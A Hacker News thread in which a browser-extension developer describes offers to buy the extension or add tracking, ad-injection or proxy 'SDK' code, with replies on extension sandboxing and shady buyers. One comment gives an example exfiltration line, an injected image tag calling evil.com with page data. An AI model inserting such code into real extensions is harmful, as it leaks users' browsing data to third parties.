16 ms·
As the developer of a pretty popular "utility" browser extension, I've been shocked by the volume of email I get every week about it. On a daily basis, I will
by fancy_pantser 6y ago
As the developer of a pretty popular "utility" browser extension, I've been shocked by the volume of email I get every week about it.
On a daily basis, I will get requests to sell the extension. Once or twice a week, I will receive an offer to add "a couple lines of code" to my extension which are always generously described as "allowed in the Chrome Web Store" by little fly-by-night organizations that only even have a landing page half the time and usually have throwaway-looking gmail accounts. Out of curiosity, I've asked a few what their code does and they never fully describe it, but it either collects analytics to ship home (my extension runs on all sites, so it's appetizing to them!) or places paid results at the top of any search results, for which I can make "thousands of dollars a month based on the number of North American users I have".
Here is an example email I received yesterday. It's a good example of how they call it "an SDK" and looks like one of the more legit ones (they registered a domain to send email from, at least).
We at [redacted] are considering purchasing the complete license and ownership of the extensions which have 50K+ active users, may I know if you would be interested in selling? If so, - what is your estimated price?
Regarding the SDK monetization which we discussed earlier, as it is not distractive and is compatible with any other monetization. We have straightforward terms and provide support for your users agreement. Our partners generate 3-20 K USD monthly with our solution for the browser extensions.
As a kind reminder, we are [redacted] — a reputable global peer-to-peer ethical proxy network. All our clients are big reputable companies, we authorize their business before providing any proxy plans.
Look forward to your further feedback and discussing further details of our financial proposal for your Software in a short Zoom call or here by emails.
Finally, I am also hounded by teams at Microsoft and Apple, who want me to port the extension to their new plugin ecosystems so it can be featured/showcased. I worked with Apple on one similar thing for an extension and it caused such a huge jump in support and feature requests from users that I was overwhelmed, so I am not keen to do it again until I have more free time. They can't understand why I don't want to grow by tens of thousands of users a week, but I'm just one person and don't make money from it whatsoever.
- nitrogen 6y agoDo extensions require any permissions to make requests? It seems like a strict sandbox that prevents data from flowing out of a page via an extension would help, if the extension is something like a JSON renderer.
- londons_explore 6y agoMost extensions need the ability to modify webpages. With that ability, they can easily exfiltrate data by for example adding a <img src=evil.com/?data=82374682376>. Trying to sandbox an extension that can modify arbitrary webpages in arbitrary ways is near futile.
- angry_octet 6y agoCouldn't CSP be used to limit which paths were valid URLs? There could also be hierarchies of extension permissions, because they don't all need to be able to do everything.
- gruez 6y agoextensions can also remove/add CSPs I think, either through modifying the header or modifying the DOM.
- angry_octet 6y agoYes, but you could strictly limit which extensions had that permission, make it a site specific permission, etc. Auto disabling an extension that changes to require that permission would be a start.
- nitrogen 6y agoTrying to sandbox an extension that can modify arbitrary webpages in arbitrary ways is near futile. Just don't let them create script elements, or add any URLs that don't come from within the extension bundle itself. Browsers already have to do a ton of bookkeeping to track the origins of requests anyway. Doesn't seem hard, you just have to be thorough.
- londons_explore 6y agoThere would be ways to trick the original page into adding stuff for you. For example, you could patch some of the original script of the page and wait for it to be run.
- MetalGuru 6y agoCrazy. Can I ask what extension this is? Wish I had the problem of tens of thousands of new users wanting my product weekly :)
- wlesieutre 6y agoPer an older comment, it's for pulling recipes off of awful recipe blogs. Having stumbled into recipe blogs before, the demand is understandable! https://chrome.google.com/webstore/detail/recipe-filter/ahlcdjbkdaegmljnnncfnhiioiadakae https://chrome.google.com/webstore/detail/recipe-filter/ahlc...
- Syntaf 6y agoGoing one step further, I found AnyList[1] on this forum awhile back and they also have a similar extension for extracting recipes from awful blogging sites. The added benefit with AnyList is that you can import ingredients directly into your grocery list from the extension. Been a huge time saver for me [1] https://www.anylist.com/ https://www.anylist.com/
- joshstrange 6y agoPaprika [0] can also parse any blog/recipe site and import the recipe. Then you can add items from recipes to your shopping list. I highly recommend this app, I've converted many friends over to it. It's a much better experience than trying to scroll through a blog post while cooking. [0] https://www.paprikaapp.com/ https://www.paprikaapp.com/
- deleted 6y ago[deleted]
- beepboop43 6y agoI'll add that I recently found how well Paprika handles printing recipes you have in your library. I wanted to print off a bunch of recipes to put in a binder and was very happy with how clean and simply formatted each recipe was, often with room to write notes on the paper. My only wish is they would implement a "family" option where I could easily share my library of recipes with my girlfriend without having to share them one at a time.
- hosteur 6y agoWhat is your extension called?
- fancy_pantser 6y agoRecipe Filter: https://chrome.google.com/webstore/detail/recipe-filter/ahlcdjbkdaegmljnnncfnhiioiadakae https://chrome.google.com/webstore/detail/recipe-filter/ahlc...
- l3s2d 6y agoDid Apple compensate you for your work porting your extension?
- fancy_pantser 6y agoNo, but Apple and MS both consider the increased visibility and growth in user count from being "featured" in their marketplaces as a nice bonus for the developer. If I were a business generating revenue from app subscriptions, I'd jump all over it.
- thwarted 6y ago"We can't pay you, but you'll get exposure"
- deleted 6y ago[deleted]
- bluGill 6y agoIf you are generating revenue exposure can be very useful. However if you don't already have a good business model it just digs your hole deeper. Be very careful to be sure which you are in.
- haukilup 6y agoFor a couple projects and apps I worked on, exposure in one of these stores would be worth a decent amount of engineering effort. You can convert that exposure into users, marketing "buzz", validation of the apps worth to third parties, etc. This isn't universal, of course. But not all payment comes in liquid form!
- noizejoy 6y ago> "We can't pay you, but you'll get exposure" ... said the venue owner to the musician. It’s a frighteningly common invit^H^H^H^H^H^H exploitation providing free labour to owners of gathering places benefitting from that labour (like bars and browsers and operating systems and social networks, etc).
- EGreg 6y agoThank you for sharing this, fancy_pantser. Are you the current maintainer also, or the current developer? This is what capitalism looks like, folks. Someone "built it" so they now privately "own it", no matter how big it gets. It's not put into the hands of an organization. The profit motive is quite strong, which is why someone can be "corrupted" by very tempting messages like this. If you had a lake or a forest privately owned by one or two people, and they had a lot of debts, they could easily sell it to polluters and loggers. Some people scoff and say "socialism has been tried, it never works." I admit that socialism simply trades one class of elites (the capitalists with a lot of shares) for another (the bureaucrats with a lot of political clout). BUT! I would like to say that socialism is not the only alternative. The other alternative is decentralized systems with no private ownership. I'm talking about science, open source software, and so on. There can be a Merkle tree of version updates (e.g. git version control) and each one can have various reputable organizations (like Zagat for software) building their reputation vetting it. Then, each community would run their own app store (think Wordpress plugins) which would work with these reputable organizations. There would be no heroes, no celebrities, no tweets at 3 am to 5 million people, no pulling from repos without peer review, no scientists instantly believed after publishing on arxiv.org . Congratulations for building a popular extension, fancy_pantser. You live in a world where you it's really bad to "criticize the profit", and where building it means you are responsible for it no matter how big it gets, but then we are all depending on your integrity and ability to rebuff life-changing amounts of money to not mine our data. We can pass laws to punish people after the fact, or we can gradually change our culture by rejecting "immediate gratification" of updates that are not vetted, just as corporations have done with bleeding edge vs stable Linux distros etc. Unfortunately, the Web has made it so that anything can be updated at any time, with no sysadmins or reviewers in the loop. It's a wonder more malware isn't silently everywhere already.
- richardwhiuk 6y ago> decentralized systems with no private ownership aka anarchy. that turns out to be worse.
- EGreg 6y ago
- jrochkind1 6y agoWith that kind of money being offered (assuming it is in the ballpark of true)... I wonder how many popular free extensions already have some of that junk in it and nobody's noticed. Maybe many of them? I could see a lot of devs who started out writing an extension as a non-paying hobby, having trouble turning down the free money. I feel like this is another prong in the story about threats to sustainability of open source done the way it used to/has been done previously.
- ryanlol 6y ago> assuming it is in the ballpark of true It is. It’s very easy to generate big money with ad replacement or proxies.
- tornato7 6y agoAnd it's something I'm surprised Google hasn't done more to stop considering these people are basically stealing their revenue in their own browser
- greenshackle2 6y agoSome years ago I applied at a "data analytics" startup founded by a locally famous founder. Their official purpose was something something search something social media. Not in the US, but he was featured on our local version of Shark Tank at some point. During interview it became clear that their "product" was actually bundled malware that replaced google's and other ads in the browser. Evidently hot founder guy was using this startup as cash cow for his other ventures. There was some noise in the press about it a couple years later and founder guy defended himself saying he sold the company and wasn't responsible, except it was already malware when I interviewed and he was still owner so I know it's bullshit.
- mcjiggerlog 6y agoI also have some extensions with users in the tens of thousands and can corroborate all of this. Out of curiosity I strung one "buyer" along to see how much they would offer and they quoted $0.20 per user. With the amount of money being thrown about, as sad as it is, it's no surprise that some devs end up selling out their users. In my opinion extensions have to be one of the worst sources of spyware these days. I am now extremely conservative with what extensions I use, and definitely would only use extensions from open source projects or companies that I trust. Something needs to change. As long as extensions have such weak sandboxing along with such poor app review, Google/Mozilla etc will keep willingly shipping spyware unbeknownst to their users. At least some mechanism of creating and verifying reproducible builds would go a long way.
- Someone 6y agoIf you can make thousands a month on tens of thousands of users, that’s (very much ballpark) $0.10 per user per month. Paying $0.20 per user to buy that seems extremely low. Also, on the sandboxing/app review of extensions, does anybody know how well Apple vets Safari extensions? (I guess that could be hard if the evil parts are time-triggered, certainly if the code also is obfuscated (possibly in the name of minification)
- SamBam 6y agoWho said they were earning thousands a month for their extension?
- wffurr 6y agoIf the malware seller can make $0.10 / user / month, then paying the extension developer a one-time fee of $0.20 * users is only three months to pay back. Thus considered a low price for the extension developer but still attractive to the extension developer who likely earns $0 / user from their extension.
- blu_ 6y ago
- LockAndLol 6y ago> Finally, I am also hounded by teams at Microsoft and Apple, who want me to port the extension to their new plugin ecosystems so it can be featured/showcased. Do they ask you to do that for free or is there a monetary amount they tack on?
- reaperducer 6y agoI have two thoughts about this. First, respond to every inquiry by telling them the price is USD$70,000,000.00. And stick to that price. Many of these sleazy companies get their leads from the same "lead generators," who will eventually take you off their lists because they know your terms are unreasonable. It doesn't work for everyone, but when I did it to spammers trying to buy my mailing list, it significantly reduced the volume of inquiries. Second, put a page on your web site listing all of the offending companies, with links to the letter you received. Apr 1, 2021 - Company X promised $3-5k/month if I alter your search results. Link. Apr 3, 2021 - Company Y promised $1-5k/month if I promote thier product on other people's web pages. Link. A lot of people on HN will claim "O, noes! Lawyers! Libel!" I wouldn't worry about it. These people don't have the money for lawyers, are usually in geographies without legal systems, and don't want their names and other information exposed in a public legal filing. Plus, all you're doing is stating facts.
- hinkley 6y ago> by telling them the price is USD$70,000,000.00 There's a W C Fields joke that ends, "Madame, we've already established what sort of woman you are, now we're just haggling over price."
- bluGill 6y agoEvery time they make a lower offer counter with a higher price. They will soon learn what kind of person they are dealing with. If they actually do come up with $120,000,000 - will at that point nobody will be surprised that you cashed out. They might be mad, but they won't blame you.
- AnIdiotOnTheNet 6y agoCase in point: Notch once said that his price for selling out Minecraft was $2B. When Microsoft eventually said "sounds fair" and gave it to him very few people found it easy to be mad at him.
- 6y ago
- ugh123 6y agoAsk Apple or Microsoft for a full time job to work on it =)
- saagarjha 6y agoThey'll offer you a full-time job and then you won't be able to work on it :P
- kazinator 6y ago> what is your estimated price? Say, $5 per active user; non-exclusive license: I can maintain my fork of the extension, and use any of the code in new projects.
- criddell 6y agoWhy redact? I'm curious about who is doing this.
- rsync 6y agoAgreed. These people need to be named and shamed.
- boomboomsubban 6y agoIt'd be annoying for the poster if they got mad, with an unlikely but potential legal encounter involved, and 99.9% of the community will never interact with the company. Even the few that do would likely realize their scummy business strategy immediately. Not worth it here.
- djrogers 6y ago> so I am not keen to do it again until I have more free time Aww man, I'm really sad to here that RecipeFilter won't be coming to Safari anytime soon. I really got my hopes up after it was in the keynote! Since Apple distributes extensions in the App Store, have you though about charging a buck or two for the Safari version? I know everyone says this, but I'd pay...
- milankragujevic 6y agoIs this Luminati? [0] Because this sounds so much like Luminati ("Hola"). [0] https://luminati.io/ https://luminati.io/
- bombcar 6y agoI feel there's a moneymaker here - create a popular open source extension, sell it off when you get a good deal, fork the code and let everyone find out the old version is "evil".
- _carbyau_ 6y ago"Trust for software" is largely reputation based - I don't have the time to read all the code to Blender; I trust that Blender.Org people are Nice TM or that at least someone Nice TM has read the code. Once you burn your reputation by "selling out" the first time. Who will trust your new forked version?
- teachtyler 6y agoIs this any different than Railway Programming? Or is this more specifically applicable to high order components? https://fsharpforfunandprofit.com/rop/ https://fsharpforfunandprofit.com/rop/
- anon321321323 6y agoThe monetisation angle is hard. As soon as you activate it then the expectations ramp up even more than the (likely) current flow which is likely non-trivial right now as it stands. My experience on a smaller scale was only tens-of-emails per day. And that was actually overwhelming for my little hobby that had no possibility of monetisation. The idea of thousands of support emails from people with expectations doesn't spark joy at all. Rhetorical questions: Do you want to support this thing? How much time does it take? Is this effort you want to spend? Are you not monetising this for a purpose? Are you happy with that purpose (obviously yes)? Do you still enjoy spending time on it? Do you see that time as well spent? Are the expectations from your side still being met? Are the expectations from everyone else still reasonable? After all those questions, the basic answer is probably: you don't want to monetise it because it will wreck the actual purpose for which its intended or alternatively there isn't much of monetisation possibility due to its nature. But you can't spend more time on it because you have other Things to Do, like making money from other ways. (At least this is my impression based on my experience)
- jlevers 6y agoI fell for one of these offers on the first thing I made that got any traction -- it was a browser extension that solved an issue with a common photo hosting site, and I organically ended up with 25,000+ users, mostly on Chrome. Eventually the photo hosting service itself solved the problem that my extension was solving, but pretty much everyone who'd installed the extension still had it installed. At some point, a company offered to buy it from me for a couple thousand dollars -- I was 18, and it seemed like a miracle! They asked me to add some code to the extension, and I assumed their intentions were good. I added their code, which I now realize was some sort of tracking/advertising program...and my extension promptly got taken down by Google. Quite the learning experience!
- alfiedotwtf 6y agoMake sure your email account and browser extension accounts are secure... if you're a valuable target for scammers, you're also a target of getting your browser extension stolen from you.